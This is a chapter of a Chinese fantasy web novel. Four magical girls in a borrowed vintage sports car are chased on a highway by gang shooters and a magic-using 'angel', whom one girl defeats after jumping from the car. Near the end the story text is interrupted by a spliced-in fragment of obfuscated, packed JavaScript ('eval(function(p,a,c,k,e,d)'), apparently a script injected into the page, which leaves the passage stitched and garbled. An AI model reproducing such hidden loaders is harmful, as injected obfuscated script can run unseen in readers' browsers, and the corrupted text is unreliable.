早上八点半多一些,进入市中心后以毁灭性的速度繁忙的街市展现出了清晨的城市特有的毁灭性忙碌氛围,前往工作者脚步匆匆,接连翻过营业牌的咖啡厅和连锁餐厅摆出招牌。部分商业大楼和餐厅还不到开门的时候,但有需求者自知自己寻求的对象,各家店铺里多的是排队的或者坐着工作聊天的人。对这样的街景大为好奇的有乐羽生虽然已经吃过了早饭,但依旧坚持不懈地挤进人堆里购买了自己感兴趣的东西,连带着其余几人也参与进了早餐的浪潮之中。 好在今日情况特殊,排队并不长,几人很快便离开咖啡店前往下一个目的地,也就是克拉拉停车的地方。按犬山晓的说法这个时间点克拉拉绝无清醒的可能,好在她提前说明了自己车辆所在的位置并交付了车钥匙。 “绝对不可以在车里面吃有味道和会掉渣的东西,知道了吗?”克拉拉尤其叮嘱了这件事。 她的车停在市中心一处管理相当严格的公寓停车场内,据其本人所说她住在那里,但就犬山晓而言她从未见过克拉拉出现在实验室以外的地方。公寓停车场的进入并不需要许可,开进开出都是自动化管理,十分省心。 沿着车位寻找不久后,出现在几人眼前的车位中停着一辆金属灰色的轿车,车身是上个世纪常见的低矮型,车头宽扁,与之相比轮胎的尺寸就很大了。车尾略微上翘,整体圆润而不夸张,车头的圆形大灯非常闪亮,看得出其主人有定期保养的习惯。 这是一辆来自上世纪生产的保时捷跑车,不知为何出现在大洋彼岸的公寓停车场里,但它的价值值得每一位住户在路过它时驻足观赏三分钟。 有乐羽生接过钥匙准备去拉开右侧的车门,但又注意到驾驶座在前排左侧,就意外地绕行到了另一边上车。一打开,略带灰尘味道的皮革气息扑面而来,但并没有发霉的味道。 “这居然是进口的,就年代和设计来看这辆跑车的收藏价值远超在城市中的实用价值,真没想到克拉拉小姐那样的研究人员居然会选择开这种车。”有乐羽生惊叹着坐进驾驶座,其它三人也坐进车内,森山寺未央坐进副驾驶,艾克里普和犬山晓分别排列在后座。 座椅的真皮被时间打磨得柔软了起来,赛车车座特有的包裹性支撑着年龄不太合适的来客的身体,有乐羽生小心抬手,摸索着仪表盘的五连表和自动变速箱的排挡杆。 “这家族感的布局,触感一如当年啊。”有乐羽生感慨道。 “小姐请问您当年碰它时年龄还是二位数吗?”森山寺未央对这样的感慨感到感慨,她打开手机导航确认方向和路况,“接下来由我来为大家导航!我们要穿过几个红绿灯从市政府区域旁边上108号公路,向南开。” “这一点请各位放心,我那时已经是个初中生了。”有乐羽生自信地说。 “好厉害呀!”艾克里普觉得初中生开车很了不起。 “是很厉害。”犬山晓觉得让初中生开车的人很了不起。 有乐羽生按耐住内心的激动,轻轻转动钥匙点火,引擎并没有立刻启动,而是发出一声老式油车特有的沉闷的低吼,随即进入稳定的怠速状态。 “总感觉在路上总能遇到特地这样做的人,亲身体验的话就感觉还不错了。”森山寺未央乐呵呵地说。 “大家都系好安全带了吗?”有乐羽生从后视镜回头看问道。 “好了!”艾克里普说。 “好了,不过一开始记得开慢点。”犬山晓担心地说。 得到确认后,有乐羽生紧张又兴奋地轻踩油门,指针迅速跳动,排气管喷出一阵低沉的轰鸣—,不刺耳,不高调,却带着不可忽视的底气。握紧方向盘,她深吸了一口气,踩下刹车,松开手刹,挂入D挡。 许久没有活动过的车缓缓滑出座位,刚开始的每一个动作都显得有些生疏。 “我依稀记得那些曾经坐在那里的身影,那些曾同行的人,那些已然远去的日子。”有乐羽生忽然开始背诵不知道从哪里看到的语句,仿佛年纪轻轻就有了三十年驾龄。 “你喜欢看公路片吗?”森山寺未央问。 “不喜欢哦,不过我很向往公路旅行,跨洲路牌,旧皮卡,永不完结的夏日夕阳和高速公路!”有乐羽生说着唱了起来,这不是一首已有的歌。 她在停车场内部的小路上缓缓行驶,感受着车辆的重量、油门的反馈、变速箱的轻微换挡冲击,只是手脚的配合还需要一点时间找回一些的默契。当第一个弯道到来,她知道自己必须真正地驾驶了。方向盘左转,身体轻微侧倾,后轮轻微调整角度,悬挂系统柔和地吸收着路面的不平。它稳定、顺畅、优雅得近乎从容。 “哦哦,很熟练嘛!”森山寺未央捏了一把汗。 “我迟早会成为汽车的朋友的!”有乐羽生非常自信,嘴角轻轻勾起了一抹微笑,此刻她知道她可以驾驭它。 今天是个晴天,路况不应该太糟,可惜出现了对公共交通有害的人。如来时一样车流依旧缓慢,发动机的低频震动混杂在周围车辆的鸣笛声中。 有乐羽生轻叹了口气。前方的车停停走走,刹车灯的红色此起彼伏地亮起又熄灭,像是无声的催促,偶尔有正常右座驾驶座的车辆隔着车窗打量几人的座椅。 “第一视角堵车的感受如何?地图上说通行至少要十分钟。”森山寺未央说。 “我们从十字路口那里走过来其实也才十五分钟吧?”有乐羽生有些无奈。 “也怪不得大家都在摁喇叭,虽然很吵,堵车谁都不好受呢。”艾克里普叹了口气,她眉头紧皱着,非常不适应被困在噪音牢笼里。 交通灯变绿,有乐羽生踩下油门,车缓缓前进。 终于到了高速入口,前方的车流分散了些许,喧闹的城市灯光在后视镜中渐渐模糊成一片。车辆靠近收费站的自动通行通道,很快显示可通行,有乐羽生一脚油门正式驶入高速公路。 当车轮驶上笔直的路面后车速提升到 80 km/h 以上,车内的震动感突然减少了许多。这条108号公路算不上宽阔、顺畅、笔直,两侧的路灯间隔着撞上余光死角,像是某种规律的节拍。偶尔有几辆货车从旁边驶过,低沉的引擎声在空气中轰鸣片刻,随即远去。 有乐羽生感到满意,这里没有堵车,没有红灯,没有目光,只有路,向前延伸,一直通向下一个城市。 36.duo “这样从高速公路上看城市的感受也真是神奇。”犬山晓看着窗外。 车辆带着几人以高速摆脱西部市区地区,窗外仍是熟悉的都市景观,高楼大厦鳞次栉比,街道上的霓虹灯与广告牌在玻璃上闪过,一切都与她曾经从街道上看到的相似又不同。 “晓没有坐过长途车吗?”森山寺未央好奇道。 “没有,我基本上不怎么坐车,除了交通工具以外大多数情况下都是靠步行。”犬山晓说。 “好老奶奶的说法,不过晓一直都很注重养生之类的呢。”森山寺未央说。 “是呀,有晨练的习惯,注重健康饮食,而且出行还喜欢步行。”有乐羽生也说。 “原来这就算是老奶奶了吗?我看那些视频以为现代人很多都这样呢。”犬山晓无奈地说。 “确实并不是老奶奶都这样呢,也有不喜欢出门喜欢吃垃圾食品的老奶奶呢。”艾克里普笑着说,“年龄不能说明多少问题的。” “我老了就这样。”森山寺未央点头。 “我老了就整天开跑车出门兜风!”有乐羽生志向远大。 “羽生你绝对很适合公路旅游啦,”森山寺未央说,“你去过洛杉矶吗?” “美国西部吗?我只去过东部,波士顿和纽约什么的,总之只去过新英格兰地区参观著名大学。”有乐羽生说起这些也有些怀念,“大学怎样都无所谓,但街道上的人文景观很有特色呢,比如穿着角色制服到处跑的人。” “西部到处都是长长的高速,而且还有好多巨大的游乐园,感觉超适合你的!”森山寺未央煞有其事地说,“一路开车去国家公园和山地,途径卖奶昔的快餐店,最后到公路终点的游乐园看着落日坐过山车。” “…我绝对要去,自己飞也要飞过去。”有乐羽生眼神坚毅,她下定了决心。 “未央说的地方位于海洋的另一侧呢,不过现在人类都可以坐飞机了,去海洋的另一侧也不过是睡一觉的事情。”艾克里普笑着说,“这些地方我以前哪怕去过也不会留下印象,人文发展的差异性有趣但可以通过看书了解,果然实地勘察还是得有感兴趣的人一起去比较好呢。” “坐飞机也要很久呢,如果以后我魔法大成,就能带着大家一起瞬间转移过去了。”有乐羽生认真地在考虑这件事。 “那可真是了不起的壮举,长途飞行对屁股很不友好的。”森山寺未央说着,“不过如果从魔法途径过去的话入境海关的时候要怎么说?想不到吧我使用了魔法?” “…我觉得这样可能是不行的。”犬山晓认真思考之后回答了,“可以不过海关吗?” “诶对了说起来未央你不是说自己晕车吗不会难受吗?”有乐羽生迅速转移话题问。 “我提前吃了药!不过也得益于羽生你的车技呢。”森山寺未央夸赞道。 “多谢夸奖,顺便一提现在时速不到一百,远不到这辆车的极限哦。”有乐羽生说。 “已经超过很多车了!”艾克里普感慨道。 犬山晓静静地听着,她喜欢这种感觉,与同伴待在一起听着对未来的谈论,就好像那样美好的未来变得触手可及了一样。她看向窗外,车辆转入128号城内公路并即将闯入95号跨城公路。风景经过了某处港湾,看位置应该是南流港,天朗气清,她能隐约看到停泊的巨大货轮,还有远处的电线塔和仓库。 “开到这里车就很少了呢,果然远离西部市区后就不这么拥挤了。”森山寺未央感慨说,“明明东部和西部都是市区为什么西部车辆那么多呢?就因为年代久远一点所以大家都喜欢去老地方吗?” “这样一看却像是在一个完全不同的地区一样。”有乐羽生眺望着远方的货轮说,“东部市区新公司更多一点,喜欢听会议结论的投资者还是更喜欢看老公司的,再加上政府总部在西部,著名景点在西部,大型活动举办点也在西部。东部的话年轻人和年轻家庭更多一点,因为靠近港口也有更多贸易机会和工厂,刚毕业的大学生们不会想跑到西部去的。” “好,好复杂。”犬山晓感慨说,“我只是觉得哪里都是人,流来流去的都在做自己的事情,原来大家也并不是都是自愿待在哪里的吗?” “…这句话有些大人听了感觉会受伤呢。”有乐羽生笑着说,“真想录下来。” “这个表情用未雅的脸表现出来就有点像是准备要做坏事了!”森山寺未央评价说。 “但是感觉能想象到羽生平时说出这句话时的表情呢。”艾克里普笑着说,她坐在后面看不到有乐羽生的表情,应该。 高速公路宽阔,车辆边能看到来往的卡车运输货物,偶尔还能望见列车在远方的高架桥上疾驰而过。那是南部环线,途径南山区,南居民区,东部市区,中心绿地公园附近,与北部环线为同一家交通运输公司出品的不同区域的不同产品。市区环线与东部临海线为城市交通部门提供的公共交通选择,另有共88条地面固定路线。 “货车好多啊,虽然知道它们不会突然撞上来但总感觉很危险。”森山寺未央看着窗外说。 “只要这些车不灵机一动变道就没有威胁,反而是突然降速的小车更恐怖一点呢。”有乐羽生说,她在几千米之间已经掌握了行车默认守则。 过了大概半小时,地形开始起伏,道路两侧是连绵的山丘和森林,公路在山间穿行,伴随着隧道的出现。服务区的不远处有着清澈的湖泊,甚至能看到倒映着山的湖景。 “前面开始是比较蜿蜒的山路,要开始限速了。”森山寺未央提醒说。 “幸好现在没有起雾,而且车也不多。”有乐羽生说着没有多紧张。 “这些货车大多数会把自己公司的名字打在车厢上呢,现代广告真是无处不在,形式和设计和以前相比反而缺少了一定文化内涵。”艾克里普看着又一辆被超过的大货车。 “是必须靠实力跳过的广告!”森山寺未央说。 “正是如此!”有乐羽生点头。 “大型货车,是不是应该都开的比较慢才对?”艾克里普问道。 “是的吧,毕竟载重就和小型车天差地别,所以才需要单独车道。”森山寺未央说。 艾克里普看着窗外,感觉不太对劲。 “那辆货车是不是跟了我们很久了?”她不确定地开口。 犬山晓闻言从右侧的倒车镜观察后方车辆,看见了侧后方远远地跟着一辆中小型黑色货车。 “是那辆黑色的吗?”犬山晓警惕地问。 “货车跟跑车,怎么会有这种事发生?”森山寺未央不可置信地往后看。 “那应该是改装式越野车,车厢部分不是很大。”犬山晓想了想问,“艾克里普发现那辆车跟着我们是多久前的事情?” “我们在看见邮轮的时候超过了那辆车,车牌号是同一辆。”艾克里普说。 “有可能是单纯的同路吗?但我的直觉说可能性不高。”森山寺未央不太确定。 “这里部分的道路测试限速,我们慢下来遇到之前的车是正常的事情,附近车辆很少了。”有乐羽生说。 “我们大概还有多久离开这片区域?”犬山晓问。 “快了,再过两个长隧道就进下一段路。”森山寺未央确认导航。 而就像是在回应几人的猜想,黑色货运车略微缩短了距离。 “我没有感受到魔力气息,同时可能是距离原因,道具也没有产生反应。”艾克里普皱眉说,“但是那个司机在看着我们。” “我们能不能在进入下一个隧道之前加速?这样就能通过距离确定对方到底是不是在跟着我们了。”森山寺未央问。 “包在我身上!”有乐羽生志在必得。 车辆无声飞速行驶,有乐羽生踏步下压,涡轮配合着她的心意将稳步迈进的车辆再次提速,艾克里普紧盯后面那辆黑车,前方隧道洞口打开,暗色欢迎光临。 若是在隧道内加速,那甩开的后方的车辆在出隧道后也很难追上了 进入隧道的一瞬间,黑色货运车忽然提速,艾克里普迅速察觉到后方逐渐跟上了些其它同样是黑色外壳的车辆,并不是货运车,小型车爬着地以更快的速度赶超了上来。 “后面来了些新的车辆,我同样没有感受到魔法气息。我上车前给车辆施加了防护魔法,简单的碰撞不会造成影响的。”艾克里普皱着眉说,“但是司机全都在看着我们。” 但很快,不需要确定是否有魔法气息的恶意随着对方降下的车窗扑面而来。 “羽生,尽可能地保持车辆稳定,后面可能会有车追上来。”森山寺未央紧贴背靠。 “那些人准备做什么?这可是高速路段,那些也仅仅是普通人。”艾克里普完全不理解。 “那种车的话,”有乐羽生余光看见倒车镜中的景象,“是白夜社的配车类型呢。” “市区闹市的□□?为什么会追我们追到这里?”犬山晓面色凝重。 “可能是这辆车太显眼了吧,躲过了摄像头也躲不过人的眼睛,不过我们被□□盯上的理由果然还是不理解,是因为谁的命令吗?”森山寺未央有些紧张了起来,一紧张她晕车的症状就发作,皮质坐具的味道令她逐渐喘不过气来。 “未央你别担心,我们不会有事的。”艾克里普安慰着说。 那些尾随的车辆逐渐靠近,一支支黑漆漆的枪管从中露出,指向保时捷潇洒的后背箱。 “是枪,这种情况下居然选择开枪吗?我不觉得这个有用。”犬山晓怀疑地说。 车辆距离至少有五十多米,这个距离子弹能否接触到前方的目标都不好说,更别提这段路并不算平稳。 大概是也知道这一点,那些黑色枪管伸出车窗后并没有直接开始射击,而是以一个稳定的角度架在车窗上,三辆小型车同时加速逼近。 大概距离到三十米左右时,对方开枪了,子弹如同一片弹幕一般无差别地扫射前方所有方向,但由于风阻力和瞄准问题,仅有几枚投向真正的目标,还被艾克里普提前附上的防御护盾挡住了。但与此同时她也因为视线限制而无法出手做些什么。 “如果要做这种事的话为什么要在高速公路上,市区那里更好动手吧?”有乐羽生握紧方向盘疑惑道。 “因为在这里警察管不了,或者说甚至没法发现,好消息是那些□□至少还在乎执法者的尊严,但另一边就不一定了。”森山寺未央虚弱地说,“居然是公路枪战,这种情节我只想在电影院里看到啊。” “…那或许来的不仅仅是她们。”艾克里普凝重地说。 而“不仅仅”也很快就向众人表示自己确实来了,几辆小型轿车见射击手段无用之后默契地以减速的方式后退,很快就在弯道后消失在了几人的视野中,取而代之的,而那不起眼的黑色货运车则逐渐加速露出了獠牙。 那车的副驾驶没有坐人,同时这辆车的前轮胎离离几人的车尾至少二百米远距离。 那大约直径三米的被载立方体以仰面朝天打开了大门,通常这类小型运货车的露天后备箱仅有后备箱后有门,显然这辆车是特制的,天花板也有。 箱中缓缓站起并走出一人,她的行动无视风力和前进惯性,如同从家里的沙发上站起身一般不急不缓而惬意,身上的黑色罩裙和西装背心优雅如初,一枚金扣扣住领口,其上有黑色口罩遮断了对其面孔下半部分的探视,保持神秘。她的深色头发泛蓝,如嘲讽行车速度般被整齐地束在脑后,她站立,并凝视前方。 以及散发出魔力气息。 “是天使。”艾克里普摸着手里发烫的预警器迅速地下了决断,“尚且不清楚攻击手段。那司机还在看着我们。启明星侦探推测天使无法离开城市,这是第三个例外了。” 前两个分别是常年出差的Evo公司CEO湛和曾经造访神脉医院的西西路。 “无论如何,我们很快就能加速离开这里了,对方只有一个人的话也不是那么糟糕吧。”有乐羽生紧张了起来,但她知道自己不能紧张,至少不能让同伴因自己的紧张而担心。森山寺未央强撑着从后视镜观察后方,沉重的前额之下,她隐约看见了那个存在。 “我们在这样的情况下没办法使用魔法应对危机,但那位正好站在视野死角,真是会耍小聪明。”森山寺未央撇着嘴说,“不过确实似乎就只有一个人,难道她是天使中的特例吗?所以才能离开市区出现在这里。” 那人缓步走向货运车顶端,无视了一切来自高速行驶的车辆带给她的附加状态,站定。货运车顶端的门关闭恢复为平台,那人站在货运车的顶端粗略来看不算高,够不上隧道的顶端。 而那个人却连头发和衣服都没有飘起的的迹象,艾克里普清楚这是某种魔法的作用。 “对方可能使用的魔法有反重力或者状态固定作用,但这两个魔法源都并非攻击型魔法不会有攻击效果。我之前附加在车辆表面的抗冲击防御护盾魔法并没有被消耗多少,至少还能抵御普通炸药规模的冲击直到我们离开这段路。”艾克里普迅速分析说,她的眉头紧皱,无法使用魔法这一限制令她没办法游刃有余地分析双方的情况。 随即她意识到肯定是状态固定魔法,因为只有该魔法能使对方做到在限制之下也能离开城市区域行动。 “是状态固定魔法。”艾克里普更正道,但她的语气是犹豫的,“但是对方只有一个个体,难道说她认为只靠视线限制和那一个个体就足够杀死我们所有人了吗?” 听了这句话后犬山晓迅速地警觉了起来。 “…那个人没有给我带来那么大的危机感。”犬山晓凝重地说,“但是我不确定,天使与过往的敌人都不同,我无法准确判断。” “防御也包括冲击造成的作用力在内吗?”森山寺未央问。 “没错,魔法源的附加义务是吸收性的,但视受击类型而定效果不统一。”艾克里普点头迅速说道,“在这样的移动过程中对方大概率是做不到精确地选择目标的,只能选择路径或者大规模覆盖,而这两种所造成的打击就非常考验对方的魔法储量了。” “如果是刚才那样的规模还好说,再大的话隧道就要受到影响了,不知道对方有没有考虑到这一层。”犬山晓观察着后方的人影,“但我们是得考虑的吧,我们得避开执法者视线。” 隧道内虽然有灯,但依旧无法称得上明亮,偶尔划过的些许灯光掠过那人的身姿,让犬山晓得以一窥对方的真容,而对方目前也没有动作。 “□□成员的话大概率会,但现在这位的同事之前能做出在市区那样的行动就不可能顾虑到其它乘客的道路安全,在我看来那些小型车的退出一方面是为魔法使用者提供空间,一方面也是为了避开这个后果。”森山寺未央一边冷静地分析一边往嘴里倒薄荷糖,车内一股薄荷清香缓解了不少皮革带来的沉闷气息。 “如果要从对方的动机和做法考虑应对方式的话,那就是风险控制,责任归属,政治影响,利益交换。”有乐羽生目视前方开口,她习惯高速移动但在地面上还是第一次,“若是要防止中间人泄密就必须将其紧紧把握在手里,制造或伪装合法的利益,人烟稀少监控管辖模糊,转移注意力。” 这些大部分都是她的母亲教她的,当然并不是以这样僵硬直白的形式,但情况进展就顾不得委婉了。 “市区的行动确实是为了转移执法者的注意力,这里目前也确实处于一个法律真空地带,可站在那的那位的中间人是谁?利益是什么,合法又是合乎了哪条法律?”森山寺未央稍微缓过来了一些,开始动脑子,“我们知道那位是天使可那些车内的□□知道这一点吗?” “那个人能那样站在那里毫无疑问是幕后黑手提前预设好了现在的战斗情景以特派战斗人员的。”犬山晓分析说,“艾克里普怀疑的也是我所怀疑的,为什么只有一个呢?” “这样的话。”森山寺未央思索,“果然是威胁吗?幕后黑手与□□成员的权重配比是无可争议的7比3甚至更极端,幕后黑手用超乎寻常的力量控制了暴力犯罪组织,合情合理。我们是怎么被发现的这一点我就不考虑了吧怪尴尬的,但对方毫无疑问是不希望我们靠近神脉医院的所以才派出这个人来阻止我们。但联系到市区异常的行动我直觉这不是唯一的原因,对我们进行这样的追击还能为她们带来什么吗?无论是□□成员还是幕后黑手。” “杀死我们大概就是最大的目标了,但她们做不到。”犬山晓说。 “说不定就有人盼着那些人失败呢,市区那里随时都可以爆发一场冲突转移视线,□□或者政治群体借此肃清内部也是个不错的结果了。”有乐羽生安抚几人的情绪,“往好处想,只派出一个或许是只来得及这样做呢?我们提前开始行动了不是吗?” “没错!”犬山晓意识到了这一点。 “无论目标是什么,她们都做不到的。”艾克里普笃定地说。 “要出隧道了,再次进入隧道之前有差不多六分钟的直行路段,再之后是五分钟的隧道。”森山寺未央提醒说,“对面要行动也就趁现在了,让我们看看能让那位站着说话的资本是什么样的魔法吧。” 光幕近在眼前,而那后方车辆大概也注意到了这一点,货运车开始加速。在这样的情况下那站在车顶的人依旧不受任何影响,她被固定了。 白光大绽,有乐羽生驶离隧道口后再次加速,此时车速已经飙升到了一百六十左右,这已经是普通中小型货运车能加速的极限了。 此时,站立者动了,犬山晓看不清她的表情,但看见对方双手垂落在身体两侧向前抬起,五指微张,掌心朝着前方。 “她在介绍自己站着的这辆车吗?”森山寺未央忍不住说。 有乐羽生尽可能地憋住没有笑,而艾克里普则是没忍住。 而很快对方就用行动证明了自己并不是货车销售。 有纯白色的光球从那掌心升起,随后缓缓离开她的皮肤,约篮球大小的纯白球体以一个稳定的速度朝目标前进,代替货运车的引擎和车轮无声地逐渐逼近前方的目标,无视两车的速度。 “轨道型的打击魔法叠加自身的状态稳定作用魔法,我们与她之间的距离此时会存在于一个单独的不受其它作用力影响的轨道上,那光球会沿着轨道匀速靠近我们。”艾克里普迅速察觉出对方使用的魔法是什么。 “那攻击魔法的质量并不高,按理来会被防御下来。”犬山晓说。 “以那位的魔法气息来说这样的魔法输出质量是低于水准的,不该是这么简单的情况。”艾克里普有些紧张。 而那光球逐渐逼近车尾,碰上,就如艾克里普所言那样直接被防御魔法抵消,没有造成任何实际上的伤害。 但那人却并没有对此结果表达任何反应,而是确认光球顺利抵达目标后将双手举起到头部两侧,手心依旧面朝前方,就像是一个经典的投降姿势,但下一刻她的手心再次开始冒出光球。 一个脱离皮肤之后隔了不到两秒之后下一个接踵而至,两个光球为一组,源源不断地向前逼近,就如同两辆车之间逐渐牵连起了一根牵引绳,缓慢而坚定,并且绝对不会偏离目标。 “这种弹幕游戏我小学就不玩了。”森山寺未央忍不住说,“对方命中我们还需要十秒左右,连续被冲击的话会不会不太妙啊,如果我们变道的话能躲开吗?” “我不确定对方的轨道是锁定的还是自定的,自定的话我们可以暂时避开,如果是锁定的话对方大概率不会再有下一次连续攻击了。”艾克里普的声音低了下来,她摘下了眼镜,“轨道自带定点驱动力,这超出防御魔法的吸收范畴了。” “我可以变道试试,第一次开上高速就遇到这种情况,我真是命中注定的车手。”有乐羽生兴致冲冲地说。 “那就变道吧,总之先试试,实在不行我们就只能油门踩到底了,前面的隧道有弯道,现在这个速度进隧道已经是非常危险的了。”森山寺未央紧张地握紧了安全带。 有乐羽生紧盯前方,视线中概括全部车道,远处的山峦和海岸在这样的速度下也依旧静止不动着观望着一切闹剧,海天一线,有乐羽生身体微微偏过,就好像在以体感控制车辆一般,轮胎以非常细微的角度发生偏离,带着车体踩上虚线,踏入另一条车道。 下一刻光球抵达车辆原本所在的区域,超过那里继续运输前进,直到再往前前进了五六秒才消散在空中。 “好!避开了!”森山寺未央兴奋地说。 而后方那人见此情景也仅仅是皱眉偏了偏头,双手没有放下,光球组成的牵引绳断开了。 “下一次攻击应该很快就要开始了,我们必须在再次进入隧道之前想办法解决对方。”犬山晓沉下声音说。 “我们现在没办法使用魔法,如果能想办法解决那个司机的话就一切好说了,要不要试试看砸东西?或者我们连续变道的话也可能避开对方的攻击,不过进入隧道后变道就是非常危险的做法了。”森山寺未央分析说。 “那个光球的本质上是冲击性魔法,对方想消除杂物的话非常简单。她现在恐怕是在调整轨道,在维持自身状态的情况下调整轨道对她来说应该并不是一件简单的事,这也是对方没有马上发起下一轮攻击的原因。”艾克里普分析说。 “对方不选择锁定轨道的原因是什么呢?”森山寺未央问。 “不会或者做不到吧,捕捉高速移动中的目标并建立运输轨道并不容易,人脑很难捕捉那么准确的信息。”艾克里普说。 “这样的话我倒是有办法解决对面的那位司机,不过恐怕在那之前我得先想办法解决那个人。”犬山晓想了想说,“在进入隧道之前应该就能解决,不过如果想在不伤到这辆车的情况下回来的话得想想别的办法,或者你们在前面停一下车?。” “如果能解决那位司机的话我能把你带回来,不过在那个人生命体征能被确保的情况下会优先选择保护司机。”艾克里普不假思索地说。 “要怎么做?”森山寺未央好奇地问。 “主动出击,对方看上去并不是很擅长快速行动。”犬山晓说着,降下了她那一侧的车窗,狂风随着裂开的口子占领室内的空气,不讲道理地刮过车内的每一个地方,森山寺未央瞬间感觉自己的头脑清醒了不止一个度。 随着车窗大开,犬山晓不假思索地扶住车门,完全无视乘客守则第一条不要将头探出窗外,任凭狂风将她的头发呼啸着吹起。 “那一会就拜托你了。”犬山晓的话融在风中,随后她毫不犹豫地双手一撑,整个人扑进了风中,也扑进了真正意义上的无人之境:高速公路的车道路面上。 “晓!”森山寺未央整个人扭过去看大开的窗口,超过一百六十公里每小时的车辆没有给她机会一看究竟,转瞬间一抹红色的影子消失在了视线末端。 “相信晓吧。”艾克里普虽然有些紧张但依旧很坚定,“她非常冷静。” “在高速公路上跳车,哇。”有乐羽生发出了简单的感慨,不由得流下一些冷汗,黏在背部的衣服上令她有些难受,而同时她由于高速驾驶而不由得高度紧张起来。 这种感觉并不好受,但她并不讨厌这种体验。 如果一个人从这个时的高速行驶车辆中跳出,那几乎不可能存活。若是头朝前跳出,可能会导致头部猛烈撞击地面。若是背朝后跳,可能骨折并且脊柱断裂。水泥和柏油路面会带来强烈摩擦,皮肤和肌肉会被严重撕裂。在这之后假设身体与地面每次翻滚都会受到 20-50 km/h 速度冲击,那么在几秒内,人体可能经历10次高能量撞击,最终导致多处骨折、器官受损、脑震荡甚至死亡。 总之就是在找死,即使是在车辆严重失控的情况下,等车辆爆炸甚至可能是一个更为简单的死法。 赛车事故中,摩托车手从 120-150 km/h 车速翻滚,最终虽生还,但通常肋骨断裂、骨折、脑震荡严重。好莱坞特技演员使用护具+翻滚技巧,可从 80-100 km/h 速度存活。 而犬山晓在翻滚多次之后鲜血淋漓地站了起来,后方货运车呼啸而过时她甚至可能还未接触到地面,视线限制消失的下一瞬间她让自己身上的大部分动脉破裂并包裹自身,同时形成尖刺快速减速。不到一秒的时间里她换上魔法少女装束,血液流转着包围她的周身,一抹红线粗壮起来,那是她在那一瞬间留在黑色货运车上的血液标记。 那红线在一瞬间绷直并且带着犬山晓向前飞起,她迅速保持住平衡,以货运车带来的冲力顺势开始加速,血液在她周身流转为她避开风阻力和尘埃,如同一抹血影,她跟上了前方的货运车。 而那位站在车顶的人大概也察觉到了这转瞬即逝之间的几秒内发生了什么,她没有改变自己的姿态,或者说来不及,只是惊愕地回过头来看向了自己的身后。 在那里,犬山晓的一只手已经抓在了货运车车顶的护栏上,她翻身一跳,顺势袭向站着的人,似乎跳车和高速冲刺都没有给她造成什么负面影响。 车顶上的阻力少了许多,犬山晓分析这是眼前这人的魔法在起效果,她此时一副见了鬼的样子回身来想做些什么,黑金属口罩挡住她的半幅表情,但奈何犬山晓心知时间不等人。 “你…”那人大概是不擅长近身战斗的,侃侃避开犬山晓的突刺拳却没能避开用以辅佐她的血液所化成的血刺,三次命中分别命中那人的两只大腿和脚背,她难以维持住自身的站立,向前跪着倒了下去。 倒下的一瞬那手中侃侃冒出的白光球也没能如常地向前方袭击,而是慌乱地往四处飘散,犬山晓见状晃了几步避开那些光球。 靠近了之后就没什么威胁了,犬山晓这样心想着,等待对方的光球散尽后就解决对方。 光球散开,那人仰倒着跪在犬山晓身前,喉咙里喘着粗气细细地叫着什么,双手颤抖着扶住腿,似乎疼痛令她非常难以忍受,此时犬山晓感受到阻力增加,推测对方大概是难以在疼痛状态下维持之前的状态,她微微屈膝,迅速逼近将手刺向对方的心脏。 而这也令对方在生死之间回过神来,疼痛此时成了某种提神醒脑的好东西,对方双手快速交叠在眼前,手心朝向犬山晓,手背贴紧眼部。犬山晓当然不会认为这是她逃避现实的表现,但她此刻顾不了那么多,比起避险她更加倾向于快速解决目标。 双手交叠后,那掌心白光大盛,原先篮球大小的白色光球没有出现,犬山晓只感觉到眼前一丝白光闪过,随后便什么都看不见了,随后她感受到自己的手刺进了目标。 “那是,冲击魔法吗?”森山寺未央愣愣地看向后方车顶为起点爆发出的巨大光束,实体直径近一米,扩散半透明有半米左右,如同有人以那车顶为起点往半空中画过了一条白色的线。 “是的。”艾克里普紧张地看向身后,白光散去,以她的视角只能看到犬山晓背对着她伏在车顶。 “晓怎么样了?”有乐羽生紧张地问,她什么都看不见。 “她,”森山寺未央喉咙发紧,篮球大小的光球能造成冲锋枪同等程度的伤害的话,那种程度的冲击魔法足以击穿任何厚度的钢结构建筑或者混凝土墙,而眼看着那白光穿过整个人的上半身,她只能艰难地开口说,“她不会有事的。” 艾克里普没说什么,只是紧紧地看着那车顶上一动不动的身影,不放过任何细节。 而就像是在回应几人的期待一般,那背对着伏在车顶上的人影过了十秒不到之后轻轻地动了,她支起背部,头部转过来看向几人的方向,发丝随风狂舞。 “太好啦!”艾克里普笑着说,“她没事,她甚至看上去没有受伤!” “哇!”有乐羽生睁大眼睛,但也不敢在这个情况下回头看。 “真的,看上去完全就是一点事没有,太厉害了真的假的啊真的比较好。”森山寺未央目瞪口呆地说。 犬山晓从车顶站起,将手里的人从车顶丢下,就像她之前落下一般一瞬间就看不见影子了,而此时驾驶座内的司机却依然一副什么都不知道的样子紧紧握着方向盘盯着前方车辆。犬山晓一手扶住顶部护栏,手甲直接插入车顶后掀开,撕扯下一大块金属扔向高速公路护栏外,狂风提醒司机上方有人光临,抬头看,看见了朝自己袭来的一只手。 “好,魔法可以使用了!”艾克里普察觉到这一点之后迅速开始凝聚魔力,后方的车辆失控后开始旋转着减速,她迅速锁定了犬山晓的位置,探出魔力之手将其捕捉,随后轻柔地从开着的车窗将她带了回来。 车窗重新合起,犬山晓换下魔法少女装束,重新系上了安全带。 “你回来啦!欢迎回来!辛苦啦!”有乐羽生从后视镜向犬山晓打招呼。 “晓没事吧,让我看看。”艾克里普紧张地凑上前查看,惊讶地发现除了有些魔力损耗,对方确实没有受伤的痕迹,或者说已经愈合了。 “没事啦,不用担心。”犬山晓反倒是最不紧张的那个,她神色镇定,没有阻止艾克里普的探查,并抽空安慰着其余几人。 “刚才实在是太帅了!可恶啊电影都不敢这么拍。”森山寺未央抓着安全带回头看,“不过现在终于安全啦,我们也可以减速了。” “对哦,好吧。”有乐羽生反倒是有些意犹未尽。 车辆以几乎没有感觉的程度缓缓回到了高速限速以内,隧道口一晃而过,之前的一切被抛在身后。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“轨道魔法和状态稳定魔法在战斗以外的场合用处更多一点,不过那个冲击魔法确实是很难在现代生活中见到的。”艾克里普点了点头,“至少出现了我是会发现的才对,不过光球的输出质量就不足够大到会被我发现了。” 